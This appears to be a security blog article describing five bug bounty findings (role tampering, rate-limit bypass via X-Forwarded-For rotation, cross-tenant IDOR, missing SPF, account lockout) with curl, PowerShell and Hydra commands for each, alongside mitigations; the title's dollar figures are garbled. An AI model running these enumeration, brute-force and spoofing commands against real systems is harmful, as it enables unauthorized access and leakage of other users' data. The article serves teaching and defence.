From 00 Role Swap to 00 IDOR Leak: How One Hacker Bagged ,600 in a Single Bug Bounty Hunt + Video

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Introduction:

Privilege escalation, insecure direct object references (IDOR), and rate-limiting flaws remain among the most lucrative bug bounty vulnerabilities because they directly impact user data confidentiality and system integrity. A recent live-hacking session demonstrated how five distinct issues—ranging from a simple role change to a cross-tenant IDOR and missing SPF records—netted a total of $1,600, with four out of five accepted by the program. This article dissects each finding, provides step‑by‑step exploitation techniques, and offers mitigation commands for Linux, Windows, and cloud environments.

Learning Objectives:

  • Understand how to identify and exploit role manipulation, IDOR, and rate‑limit bypass vulnerabilities in web applications.
  • Implement technical countermeasures using Linux/Windows commands, API gateway rules, and email authentication configurations.
  • Analyze real‑world bug bounty reports to build proactive security hardening strategies for multi‑tenant applications.

You Should Know:

1. Privilege Escalation via Role Manipulation ($300 Reward)

The first finding involved changing a standard user’s role to administrator by tampering with a hidden parameter in an API request. Many applications rely on client‑side role values (e.g., "role":"user") sent in POST/PUT requests without server‑side re‑validation.

Step‑by‑step guide – Exploitation & Mitigation

  1. Intercept the role‑update request using a proxy like Burp Suite or OWASP ZAP.
  2. Look for parameters such as role, permissions, group_id, or is_admin.
  3. Modify the value from `user` to `admin` (or `true` for boolean flags) and forward the request.
  4. If the application accepts the change without re‑authenticating the user’s privilege level, you have a critical escalation.

Linux / Windows commands for testing:

 Linux: Using curl to test role manipulation on a vulnerable endpoint
curl -X PUT https://target.com/api/user/update \
-H "Cookie: session=eyJ..." \
-H "Content-Type: application/json" \
-d '{"user_id":12345, "role":"admin"}'

Windows (PowerShell) equivalent:
Invoke-RestMethod -Uri "https://target.com/api/user/update" -Method Put -Body '{"user_id":12345,"role":"admin"}' -ContentType "application/json"

Mitigation:

  • Never trust client‑supplied role or permission fields. Enforce role assignments on the server based on session tokens (JWT with internal claims).
  • Implement role‑based access control (RBAC) middleware that validates each request against the user’s actual database role, not the request payload.
  1. Rate Limit Bypass on User Invite Feature ($500 Reward)
    The second vulnerability allowed an attacker to bypass rate limiting on a “User Invite” endpoint, enabling mass invitation spam or brute‑forcing invite codes. The bypass was complex, likely using IP rotation, header manipulation, or parameter pollution.

Step‑by‑step guide – Rate Limit Bypass Techniques

1. Identify the rate‑limited endpoint (e.g., `/api/invite/send`).

2. Attempt to bypass using:

  • X-Forwarded-For header – change the IP each request.
  • Parameter pollution – add `?invite=true&invite=true` to exhaust different rate limit counters.
  • Race conditions – send multiple requests simultaneously using tools like `Turbo Intruder` (Burp) or h2c-smuggler.
  1. For a live test, use a script that rotates headers:
 Linux Bash script to rotate X-Forwarded-For
for i in {1..100}; do
curl -X POST https://target.com/api/invite \
-H "X-Forwarded-For: 10.0.0.$i" \
-d "[email protected]"
done

Windows PowerShell equivalent:

1..100 | ForEach-Object {
$ip = "10.0.0.$<em>"
Invoke-RestMethod -Uri "https://target.com/api/invite" -Method Post -Headers @{"X-Forwarded-For"=$ip} -Body "email=test$</em>@example.com"
}

Mitigation:

  • Enforce rate limits at the application layer using a distributed cache (e.g., Redis) keyed by authenticated user ID, not just IP.
  • Reject requests with `X-Forwarded-For` from untrusted proxies; rely on the actual source IP from the TCP connection (e.g., `$remote_addr` in Nginx).
  • Implement CAPTCHA or exponential backoff after threshold violations.
  1. Cross‑Tenant IDOR Leading to User Info Leakage ($500 Reward)
    An Insecure Direct Object Reference (IDOR) across different tenants allowed the hacker to access another organization’s user records by simply changing a numeric ID in the URL or API parameter. This is common in SaaS multi‑tenant architectures where object IDs are not scoped to the current tenant.

Step‑by‑step guide – IDOR Exploitation & Prevention

  1. Log in as a user in Tenant A.

2. Navigate to a resource like `/profile?user_id=12345`.

  1. Change the `user_id` to another number (e.g., 12346, 12347) belonging to Tenant B.
  2. If the response returns Tenant B’s data (email, name, address), the vulnerability exists.

Testing with Linux / Windows:

 Linux: Brute‑force user IDs using curl
for id in {12300..12400}; do
curl -s "https://target.com/api/user/$id" -H "Cookie: session=..." | grep -i "email"
done

Windows: Use PowerShell to iterate
12300..12400 | ForEach-Object {
$uri = "https://target.com/api/user/$_"
(Invoke-WebRequest -Uri $uri -Headers @{Cookie="session=..."}).Content
}

Mitigation (Cloud Hardening & API Security):

  • Enforce tenant isolation on every database query: always include `tenant_id` in the SQL WHERE clause (e.g., SELECT FROM users WHERE tenant_id = current_tenant AND user_id = requested_id).
  • Use UUIDs instead of sequential integers for object identifiers.
  • Implement access control lists (ACL) at the API gateway (e.g., with OPA or AWS Verified Permissions) that validate the relationship between the authenticated principal and the requested resource.
  1. Missing SPF Record Leads to Email Spoofing ($300 Reward)
    The discovery of a missing Sender Policy Framework (SPF) record meant that an attacker could send forged emails appearing to come from the victim’s domain. This facilitates phishing, BEC (Business Email Compromise), and domain reputation damage.

Step‑by‑step guide – Checking & Fixing SPF

1. Verify SPF record using command line (Linux/macOS):

dig +short TXT targetdomain.com | grep "v=spf1"

On Windows:

nslookup -type=TXT targetdomain.com | findstr "v=spf1"

2. If no record or only a neutral `?all` is returned, the domain is spoofable.

3. Create a strict SPF record (example):

v=spf1 ip4:203.0.113.0/24 include:spf.protection.outlook.com -all

– `-all` = hard fail (reject unapproved senders).
– `~all` = soft fail (accept but mark suspicious).
4. Publish the TXT record via your DNS provider (Cloudflare, AWS Route53, etc.).
5. Implement DMARC (policy=quarantine/reject) and DKIM to fully protect email authentication.

Linux / Windows commands for SPF validation after configuration: 

 Linux test with swaks (Swiss Army Knife for SMTP)
swaks --to [email protected] --from [email protected] --server mx.targetdomain.com --header "Subject: SPF Test" --body "This should fail SPF"

Windows: Use telnet or PowerShell Send-MailMessage with -From spoof attempt (requires relay)

Mitigation:

  • Add SPF, DKIM, and DMARC for every domain that sends email.
  • Monitor DMARC reports to detect spoofing attempts.
  • Use email security gateways that check SPF/DKIM alignment.
  1. Account Squatting / Lockout (Not Accepted – But Valuable Knowledge)
    Although this finding was rejected (likely due to out‑of‑scope or inherent product behavior), understanding account squatting (registering a deleted user’s email to take over their vendor account) or lockout (forcing account lockouts via failed attempts) is critical for defence.

Step‑by‑step guide – Testing for Account Enumeration & Lockout Bypass
1. Check for user enumeration through login/password reset endpoints: different response messages for existing vs. non‑existing users.
2. Test lockout thresholds – attempt 5–10 wrong passwords and see if the account gets temporarily locked.
3. Try to bypass lockout by using different IPs (via X-Forwarded-For) or resetting password between attempts.
4. For squatting: after an account deletion, attempt to re‑register with the same email immediately. If successful with no cool‑down or identity verification, you can take over associated data.

Commands to automate lockout testing:

 Linux: Use Hydra with delay and IP rotation (requires proxy list)
hydra -l [email protected] -P wrong_passwords.txt target.com https-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

Windows: Use Burp Suite Intruder or custom PowerShell with Start-Sleep

Mitigation:

  • Implement consistent error messages (e.g., “Invalid credentials” regardless of user existence).
  • Use rate limiting per username/email, not just IP.
  • For account deletion, implement a soft‑delete with a grace period (e.g., 30 days) during which the email cannot be re‑registered.

What Undercode Say:

  • Key Takeaway 1: Even seemingly “simple” bugs like missing SPF or client‑side role manipulation can yield hundreds of dollars because they often lead to full account takeover or data leaks in production systems.
  • Key Takeaway 2: Cross‑tenant IDOR and rate‑limit bypasses are persistent weaknesses in multi‑tenant architectures. Proactive countermeasures—like UUIDs, tenant‑aware database queries, and distributed rate limiting with authenticated keys—are non‑negotiable for modern APIs.

The posted bug bounty results underscore a broader truth: manual testing combined with an understanding of business logic flaws still outperforms automated scanners. The hacker’s use of varied techniques—parameter tampering, header spoofing, and direct object references—reflects a methodology that every penetration tester should internalize. Moreover, the rejection of the account squatting finding highlights the importance of reading a program’s scope carefully; not every vulnerability is rewarded, but each discovery builds your intuition. For defenders, the missing SPF record is a stark reminder that foundational email security is often neglected. Implementing SPF/DKIM/DMARC takes minutes but prevents domain impersonation that can devastate brand trust. Finally, the $500 reward for the complex rate‑limit bypass shows that creativity in chaining low‑impact issues (e.g., race conditions + header injection) is what separates junior from senior bug hunters.

Prediction:

As AI‑driven code generation becomes mainstream, we predict a surge in IDOR and privilege escalation vulnerabilities in 2025–2026. Large Language Models (LLMs) often generate API endpoints with predictable object IDs and missing tenant scoping because training data contains insecure patterns. Meanwhile, rate‑limiting bypass techniques will evolve to exploit HTTP/2 multiplexing and QUIC protocol quirks, forcing defenders to adopt request‑rate control at the transport layer. Organisations that fail to implement proper access control middleware and email authentication will face an increasing number of $500–$1,600 bounty reports—except next time, those findings may be sold on darknet markets instead of disclosed ethically. The key to staying ahead is proactive threat modeling and continuous validation of every trust boundary, from the DNS TXT record to the JSON web token.

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IT/Security Reporter URL:

Reported By: Muhammad Qasiim – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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